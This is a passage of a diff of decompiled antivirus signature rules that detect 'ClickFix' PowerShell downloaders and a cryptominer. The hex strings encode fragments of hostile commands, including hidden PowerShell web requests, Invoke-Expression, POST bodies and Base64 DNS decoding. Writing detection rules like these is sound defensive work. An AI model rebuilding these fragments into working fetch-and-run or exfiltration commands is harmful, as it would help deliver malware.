$a_00_3 = {63 00 61 00 74 00 63 00 68 00 7b 00 24 00 } //1 catch{$ + $a_0a_4 = {01 00 6f 00 6f 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 51 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 55 02 69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 3c 2d 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 70 00 6f 00 73 00 74 00 20 00 2d 00 62 00 6f 00 64 00 79 00 20 00 40 00 90 00 0a 00 55 02 69 00 72 00 6d 00 20 00 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 3c 2d 00 6d 00 65 00 74 00 68 00 6f } //0 + $a_00_6 = {73 00 74 00 20 00 2d 00 62 00 6f 00 64 00 79 00 20 00 40 00 90 00 01 00 10 00 28 00 77 00 68 00 6f 00 61 00 6d 00 69 00 29 00 00 00 d7 0a 01 00 79 00 79 00 0a 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 47 21 4d 54 42 00 64 00 0a 00 6d 00 73 00 68 00 74 00 61 00 14 00 0a 00 2e 00 77 } //112 + $a_00_8 = {0c 00 2e 00 6f 00 70 00 75 00 73 00 3f 00 14 00 0c 00 2e 00 } //63 + $a_00_9 = {76 00 20 00 23 00 14 00 14 00 67 00 6b 00 63 00 78 00 76 00 2e 00 67 00 6c 00 65 00 3f 00 01 00 0c 00 2e 00 73 00 68 00 6f 00 70 00 2f 00 01 00 10 00 2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 2f 00 01 00 0a 00 2e 00 69 00 63 00 75 00 2f 00 18 fc 24 00 6d 00 73 00 65 00 64 00 67 00 65 00 77 } //119 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*40+(#a_00_2 & 1)*97+(#a_00_3 & 1)*1+(#a_0a_4 & 1)*0+(#a_00_6 & 1)*112+(#a_00_8 & 1)*63+(#a_00_9 & 1)*119) >=10 + +} +rule _InfrastructureShared_28112{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 51 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 55 02 69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 90 02 } //21283 + $a_02_2 = {06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 3c 2d 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 70 00 6f 00 73 00 74 00 20 00 2d 00 62 00 6f 00 64 00 79 00 20 00 40 00 90 00 0a 00 55 02 69 00 72 00 6d 00 20 00 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 3c 2d 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 70 00 6f 00 73 00 74 00 20 00 2d 00 62 00 6f 00 64 00 79 00 20 00 40 } //47 + condition: + ((#a_46_0 & 1)*21283+(#a_02_2 & 1)*47) >=111 + +} +rule _InfrastructureShared_28113{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 0a 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 47 21 4d 54 42 00 64 00 0a 00 6d 00 73 00 68 00 74 00 61 00 14 00 0a 00 2e 00 77 00 61 00 76 00 3f 00 14 00 0c 00 2e 00 6f 00 70 00 75 00 73 00 3f 00 14 00 } //21283 + $a_00_1 = {77 00 61 00 76 00 20 00 23 00 14 00 14 00 67 00 6b 00 63 00 78 00 76 00 2e 00 67 00 6c 00 65 00 3f 00 01 00 0c 00 2e 00 73 00 68 00 6f 00 } //12 + $a_00_2 = {01 00 10 00 2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 2f 00 01 00 0a 00 2e 00 69 00 63 00 75 00 2f 00 18 fc 24 00 6d 00 73 00 65 00 64 00 67 } //112 + $a_00_4 = {76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 18 fc 2c 00 69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 00 00 d7 0a 01 00 97 00 97 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 } //101 + $a_6b_5 = {69 78 2e 44 42 53 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 36 02 24 00 70 00 73 00 68 00 6f 00 6d 00 65 00 5b 00 90 02 02 5d 00 2b 00 24 00 70 00 73 00 68 00 6f 00 6d 00 65 00 5b 00 90 02 02 5d 00 2b 00 27 00 78 00 27 00 90 00 32 00 3a 02 24 00 } //26988 + $a_00_6 = {65 00 6c 00 6c 00 69 00 64 00 5b 00 90 02 02 5d 00 2b 00 24 00 73 00 68 00 65 00 6c 00 6c 00 69 00 64 00 5b 00 90 02 02 5d 00 2b 00 27 00 78 00 27 00 90 00 01 00 0e 00 2d 00 57 00 20 00 68 00 20 00 2d 00 43 00 01 00 38 00 2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 53 00 74 00 79 00 6c 00 65 00 20 00 68 00 69 00 } //115 + $a_00_7 = {65 00 6e 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 00 d7 0c 01 00 1f 00 1f 00 0a 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 59 4f 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 12 00 6d 00 } //100 + $a_00_8 = {69 00 6d 00 69 00 7a 00 65 00 64 00 0a 00 08 00 68 00 74 00 74 00 70 00 01 00 14 00 56 00 61 00 6c 00 69 00 64 00 61 00 74 00 69 00 6f 00 6e 00 01 00 12 00 55 00 73 00 65 00 72 00 41 00 75 00 74 00 68 00 3a 00 01 00 12 00 3a 00 20 00 41 00 6e 00 73 00 77 00 65 00 72 00 20 00 01 00 16 00 59 00 6f 00 75 00 72 00 20 00 45 00 6e 00 } //105 + $a_00_9 = {79 00 20 00 01 00 14 00 47 00 61 00 74 00 65 00 43 00 68 00 65 00 63 00 6b 00 3a 00 01 00 1a 00 41 00 63 00 63 00 65 00 73 00 73 00 20 00 47 00 75 00 61 00 72 00 64 00 3a 00 01 00 0e 00 4b 00 69 00 63 00 6b 00 6f 00 66 00 66 00 00 00 d7 0c 01 00 6f 00 6f 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 } //116 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*12+(#a_00_2 & 1)*112+(#a_00_4 & 1)*101+(#a_6b_5 & 1)*26988+(#a_00_6 & 1)*115+(#a_00_7 & 1)*100+(#a_00_8 & 1)*105+(#a_00_9 & 1)*116) >=121 + +} +rule _InfrastructureShared_28114{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff97 00 ffffff97 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 53 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 36 02 24 00 70 00 73 00 68 00 6f 00 6d 00 65 00 5b 00 90 02 } //21283 + $a_00_2 = {73 00 68 00 6f 00 6d 00 65 00 5b 00 90 02 02 5d 00 2b 00 27 00 78 00 27 00 90 00 32 00 3a 02 24 00 73 00 68 00 65 00 6c 00 6c 00 69 00 64 00 5b 00 90 02 02 5d 00 2b 00 24 00 73 00 68 00 65 00 6c 00 6c 00 69 00 64 00 5b 00 90 02 02 5d 00 2b 00 27 00 78 00 27 00 90 00 01 00 0e 00 2d 00 57 00 20 00 68 00 20 00 2d 00 43 00 01 00 38 00 2d } //36 + $a_00_4 = {6f 00 77 00 53 00 74 00 79 00 6c 00 65 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 00 d7 0c 01 00 1f 00 1f 00 0a 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 59 4f 21 4d 54 42 00 0a 00 14 00 70 00 } //110 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*36+(#a_00_4 & 1)*110) >=151 + +} +rule _InfrastructureShared_28115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 0a 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6f 77 6e 2e 53 43 00 0a 00 0a 80 01 70 6f 77 65 72 73 68 65 6c 6c 0a 00 04 80 01 68 74 74 70 0a 00 0d 80 01 6e 65 74 2d 77 65 62 63 6c 69 65 6e 74 14 00 2f 80 01 6d 69 } //21283 - $a_73_1 = {66 74 2e 70 6f 77 65 72 73 68 65 6c 6c 2e 63 6f 6d 6d 61 6e 64 73 2e 77 65 62 72 65 71 75 65 73 74 73 65 73 73 69 6f 6e 0a 00 11 80 01 69 6e 76 6f 6b 65 2d 77 65 62 72 65 71 75 65 73 74 01 00 0e 80 01 64 6f 77 6e 6c 6f 61 64 73 74 72 69 6e 67 01 00 0c 80 01 64 6f 77 6e 6c 6f 61 64 66 69 6c 65 01 00 11 80 01 69 6e 76 6f 6b 65 2d 65 } //29283 - $a_65_2 = {73 69 6f 6e 01 00 04 80 01 69 65 78 20 0c fe 28 00 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 20 00 63 00 68 00 65 00 63 00 6b 00 73 00 63 00 72 00 69 00 70 00 74 00 00 00 d7 10 01 00 29 00 29 00 0a 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 4d 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 } //28792 - $a_00_3 = {73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 68 00 74 00 74 00 70 00 0a 00 0c 00 48 00 69 00 64 00 64 00 65 00 6e 00 0a 00 1d 02 53 00 74 00 61 00 72 00 74 00 90 02 04 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 90 00 01 00 06 00 69 00 72 00 6d 00 01 00 22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 52 00 65 00 73 00 74 00 4d 00 65 00 74 00 68 } //101 - $a_00_5 = {69 00 77 00 72 00 } //1 iwr - $a_00_6 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 } //1 Invoke-WebRequest - $a_00_7 = {69 00 65 00 78 00 } //1 iex - $a_00_8 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 } //1 Invoke-Expression - $a_12_9 = {00 01 00 01 00 07 00 21 23 54 45 4c 3a 4d 70 52 65 71 75 65 73 74 45 6d 73 53 63 61 6e 43 6d 64 00 01 00 0a 00 2e 00 65 00 78 00 65 00 00 00 9c ff 12 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 9c ff 1c 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 9c ff 24 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 5c 00 9c ff 28 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 4f 00 6e 00 65 00 44 00 72 00 69 00 76 00 65 00 5c 00 9c ff 36 00 5c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 5c 00 43 00 68 00 72 00 6f 00 6d 00 } //0 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 59 4f 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 12 00 6d 00 69 00 6e 00 69 00 6d 00 69 00 7a 00 65 00 64 00 } //21283 + $a_00_1 = {68 00 74 00 74 00 70 00 } //10 http + $a_00_2 = {56 00 61 00 6c 00 69 00 64 00 61 00 74 00 69 00 6f 00 6e 00 } //1 Validation + $a_00_3 = {55 00 73 00 65 00 72 00 41 00 75 00 74 00 68 00 3a 00 } //1 UserAuth: + $a_00_4 = {3a 00 20 00 41 00 6e 00 73 00 77 00 65 00 72 00 20 00 } //1 : Answer + $a_00_5 = {59 00 6f 00 75 00 72 00 20 00 45 00 6e 00 74 00 72 00 79 00 20 00 } //1 Your Entry + $a_00_6 = {47 00 61 00 74 00 65 00 43 00 68 00 65 00 63 00 6b 00 3a 00 } //1 GateCheck: + $a_00_7 = {41 00 63 00 63 00 65 00 73 00 73 00 20 00 47 00 75 00 61 00 72 00 64 00 3a 00 } //1 Access Guard: + $a_00_8 = {4b 00 69 00 63 00 6b 00 6f 00 66 00 66 00 } //1 Kickoff + $a_0c_9 = {01 00 6f 00 6f 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 53 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 32 02 2d 00 6f 00 75 00 74 00 46 00 69 00 6c 00 65 00 20 00 90 02 50 74 00 65 00 6d 00 70 00 90 02 02 5c 00 62 00 61 00 74 00 2e 00 62 00 61 00 74 00 90 00 0a 00 32 02 2d 00 6f 00 75 00 74 00 46 00 69 00 6c 00 65 00 20 00 90 02 50 74 00 65 00 6d 00 70 00 90 02 02 5c 00 63 00 6d 00 64 00 2e 00 63 00 6d 00 64 00 90 00 01 00 2a 02 73 00 74 00 61 00 72 00 74 00 90 02 50 74 00 65 00 6d 00 70 00 90 02 02 5c 00 62 00 61 00 74 00 2e 00 62 } //0 condition: - ((#a_46_0 & 1)*21283+(#a_73_1 & 1)*29283+(#a_65_2 & 1)*28792+(#a_00_3 & 1)*101+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_12_9 & 1)*0) >=31 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_0c_9 & 1)*0) >=31 } -rule _InfrastructureShared_26447{ +rule _InfrastructureShared_28116{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,29 00 29 00 0a 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 05 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 4d 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 68 00 74 00 74 00 70 00 0a 00 0c 00 48 00 69 00 64 00 64 } //21283 - $a_02_2 = {53 00 74 00 61 00 72 00 74 00 [0-04] 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //10 - $a_00_3 = {69 00 72 00 6d 00 } //1 irm - $a_00_4 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 52 00 65 00 73 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 } //1 Invoke-RestMethod - $a_00_5 = {69 00 77 00 72 00 } //1 iwr - $a_00_6 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 } //1 Invoke-WebRequest - $a_00_7 = {69 00 65 00 78 00 } //1 iex - $a_00_8 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 } //1 Invoke-Expression - $a_12_9 = {00 01 00 01 00 07 00 21 23 54 45 4c 3a 4d 70 52 65 71 75 65 73 74 45 6d 73 53 63 61 6e 43 6d 64 00 01 00 0a 00 2e 00 65 00 78 00 65 00 00 00 9c ff 12 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 9c ff 1c 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 9c ff 24 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 5c 00 9c ff 28 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 4f 00 6e 00 65 00 44 00 72 00 69 00 76 00 65 00 5c 00 9c ff 36 00 5c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 5c 00 43 00 68 00 72 00 6f 00 6d 00 } //0 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 53 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 32 02 2d 00 6f 00 75 00 74 00 46 00 69 00 6c 00 65 00 20 00 } //21283 + $a_74_1 = {65 00 6d 00 70 00 90 02 02 5c 00 62 00 61 00 74 00 2e 00 62 00 61 00 74 00 90 00 0a 00 32 02 2d 00 6f 00 75 00 74 00 46 00 69 00 6c 00 65 00 20 00 90 02 50 74 00 65 00 6d 00 70 00 90 02 02 5c 00 63 00 6d 00 64 00 2e 00 63 00 6d 00 64 00 90 } //656 + $a_00_3 = {61 00 72 00 74 00 90 02 50 74 00 65 00 6d 00 70 00 90 02 02 5c 00 62 00 61 00 74 00 2e 00 62 00 61 00 74 00 90 00 01 00 2a 02 73 00 74 00 61 00 72 00 74 00 90 02 50 74 00 65 00 6d 00 70 00 90 02 02 5c 00 63 00 6d 00 64 00 2e 00 63 00 6d 00 64 00 90 00 00 00 d7 0d 01 00 01 00 01 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 } //115 + $a_6b_4 = {69 78 2e 43 43 4a 21 4d 54 42 00 01 00 53 02 69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 06 2e 00 78 00 39 00 30 00 02 06 2e 00 78 00 39 00 30 00 02 06 2e 00 78 00 39 00 30 00 02 06 2f 00 78 00 39 00 30 00 02 06 2e 00 6a 00 70 00 67 00 7c 00 69 00 65 00 78 00 90 00 9c } //26988 condition: - ((#a_46_0 & 1)*21283+(#a_02_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_12_9 & 1)*0) >=41 + ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*656+(#a_00_3 & 1)*115+(#a_6b_4 & 1)*26988) >=111 } -rule _InfrastructureShared_26448{ +rule _InfrastructureShared_28117{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 4a 21 4d 54 42 00 01 00 53 02 69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 06 2e 00 78 00 39 00 30 00 02 06 2e 00 78 00 39 00 30 } //21283 + $a_2e_1 = {78 00 39 00 30 00 } //512 x90 + $a_00_2 = {78 00 39 00 30 00 02 06 2e 00 6a 00 70 00 67 00 7c 00 69 00 65 00 78 00 90 00 9c ff 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 32 } //1538 + $a_00_4 = {30 00 2e 00 31 00 9c ff 14 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 } //48 + $a_00_5 = {37 00 32 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 39 00 32 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f } //47 + condition: + ((#a_46_0 & 1)*21283+(#a_2e_1 & 1)*512+(#a_00_2 & 1)*1538+(#a_00_4 & 1)*48+(#a_00_5 & 1)*47) >=1 + +} +rule _InfrastructureShared_28118{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 56 21 4d 54 42 00 01 00 3e 00 28 00 5b 00 45 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 5d 00 3a 00 3a 00 47 00 65 00 74 00 46 00 6f 00 } //21283 + $a_00_1 = {65 00 72 00 50 00 61 00 74 00 68 00 28 00 27 00 01 00 28 00 47 00 65 00 74 00 2d 00 43 00 68 00 69 00 6c 00 64 00 49 00 74 00 65 00 6d 00 20 00 2d 00 50 00 61 00 74 00 68 00 20 00 01 00 30 00 2d 00 52 00 65 00 63 00 75 00 72 00 73 00 65 00 20 00 7c 00 20 00 53 00 65 00 6c 00 65 00 63 00 74 00 2d 00 } //108 + $a_00_2 = {6a 00 65 00 63 00 74 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 9c ff 1c 00 63 00 68 00 6f 00 63 00 6f 00 6c 00 61 00 74 00 65 00 79 00 2e 00 6f 00 72 00 67 00 00 00 d7 0e 01 00 8c 00 8c 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 } //79 + $a_2f_3 = {6c 69 63 6b 46 69 78 2e 44 46 52 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 22 00 52 00 65 00 73 00 } //13166 + $a_00_4 = {76 00 65 00 2d 00 44 00 6e 00 73 00 4e 00 61 00 6d 00 65 00 20 00 28 00 0a 00 3a 00 5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 0a 00 1e 00 29 00 2e 00 53 00 74 00 72 00 69 00 6e 00 67 00 73 00 } //111 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*108+(#a_00_2 & 1)*79+(#a_2f_3 & 1)*13166+(#a_00_4 & 1)*111) >=4 + +} +rule _InfrastructureShared_28119{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff8c 00 ffffff8c 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 52 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 22 00 52 00 65 00 73 00 6f 00 6c 00 76 00 65 00 2d 00 44 00 } //21283 + $a_00_1 = {4e 00 61 00 6d 00 65 00 20 00 28 00 0a 00 3a 00 5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 0a 00 1e 00 29 00 2e 00 53 00 74 00 72 00 69 00 6e 00 67 00 73 00 20 00 2d 00 6a 00 6f 00 69 00 6e 00 0a 00 40 00 5b 00 54 } //110 + $a_00_3 = {45 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 55 00 54 00 46 00 38 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 } //116 Encoding]::UTF8.GetStri + $a_00_4 = {28 00 00 00 d7 12 01 00 01 00 01 00 07 00 21 23 54 45 4c 3a 4d 70 52 65 71 75 65 73 74 45 6d 73 53 63 61 6e 43 6d 64 00 01 00 0a 00 2e 00 65 00 78 00 65 00 00 00 9c ff 12 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 9c ff 1c 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c } //110 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110+(#a_00_3 & 1)*116+(#a_00_4 & 1)*110) >=140 + +} +rule _InfrastructureShared_28120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 07 00 21 " @@ -345873,13 +367568,28 @@ rule _InfrastructureShared_26448{ $a_4c_0 = {4d 70 52 65 71 75 65 73 74 45 6d 73 53 63 61 6e 43 6d 64 00 01 00 0a 00 2e 00 65 00 78 00 65 00 00 00 9c ff 12 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 9c ff 1c 00 5c 00 50 00 72 00 6f 00 67 } //21539 $a_00_2 = {46 00 69 00 6c 00 65 00 73 00 9c ff 24 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 } //109 $a_00_3 = {66 00 65 00 6e 00 64 00 65 00 72 00 5c 00 9c ff 28 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 4f 00 6e 00 65 00 44 00 72 00 69 00 76 00 65 00 5c 00 9c ff 36 00 5c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 5c 00 43 00 68 00 72 00 6f 00 6d 00 65 00 5c 00 41 00 70 00 70 00 6c 00 69 } //68 - $a_00_5 = {6f 00 6e 00 5c 00 9c ff 1a 00 5c 00 41 00 6e 00 64 00 72 00 6f 00 69 00 64 00 5c 00 53 00 64 00 6b 00 5c 00 00 00 d7 13 01 00 06 00 06 00 06 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 5a 00 01 00 40 00 5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 72 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 } //116 - $a_00_6 = {2e 00 61 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 5d 00 3a 00 3a 00 28 00 24 00 01 00 16 00 2e 00 73 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 01 00 28 00 5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 69 00 4f 00 2e 00 66 00 69 00 6c 00 65 00 5d 00 3a 00 3a 00 28 00 24 00 01 00 2c 00 73 00 79 00 73 00 74 00 } //111 + $a_00_5 = {6f 00 6e 00 5c 00 9c ff 1a 00 5c 00 41 00 6e 00 64 00 72 00 6f 00 69 00 64 00 5c 00 53 00 64 00 6b 00 5c 00 00 00 d7 12 01 00 04 00 04 00 08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 58 6d 72 69 67 2e 5a 21 4d 54 42 00 01 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 01 00 27 02 2d 00 2d 00 } //116 + $a_00_6 = {6c 00 20 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 3a 00 90 02 08 2f 00 90 00 01 00 0c 00 2d 00 2d 00 75 00 73 00 65 00 72 00 01 00 22 00 2d 00 2d 00 63 00 70 00 75 00 2d 00 6d 00 61 00 78 00 2d 00 74 00 68 00 72 00 65 00 61 00 64 00 73 00 9c ff 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 32 00 37 00 2e 00 30 00 2e } //117 condition: - ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*109+(#a_00_3 & 1)*68+(#a_00_5 & 1)*116+(#a_00_6 & 1)*111) >=1 + ((#a_4c_0 & 1)*21539+(#a_00_2 & 